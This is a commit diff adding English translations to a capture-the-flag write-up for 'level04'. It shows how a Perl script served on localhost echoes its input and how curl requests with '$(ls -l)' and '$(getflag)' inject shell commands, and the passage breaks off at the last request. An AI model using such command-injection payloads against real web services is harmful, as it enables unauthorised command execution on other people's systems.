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docs(lvl04): adding the english readme

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Raphael 2026-01-29 12:53:21 +01:00
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10
rparodi/level04/README.md
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@ -1,6 +1,6 @@
Lors de l'arriver sur le level04 je remarque le fichier level04.pl
When arriving on level04 I notice the file level04.pl.
Ce script est en perl et se presente sous la forme
This script is in perl and presents itself in the form:
```perl
#!/usr/bin/perl
@ -13,21 +13,21 @@ sub x {
}
```
Nous pouvons donc voir que ce script recupere un argument (ici x), et affiche cet argumements
We can therefore see that this script retrieves an argument (here x), and displays this argument.
```bash
curl -d x="Common will just echo" http://127.0.0.1:4747
Common will just echo
```
Nous pouvons donc afficher ce que nous souhaitons en executant echo. Mais egallement un subshell
We can therefore display what we want by executing echo. But also a subshell.
```bash
curl -d x="\$(ls -l)" http://127.0.0.1:4747
total 4 -r-xr-x---+ 1 flag04 level04 152 Jan 26 13:42 level04.pl
```
Nous pouvons donc executer les commandes donc testons avec getflag
We can therefore execute commands so let us test with getflag.
```bash
curl -d x="\$(getflag)" http://127.0.0.1:4747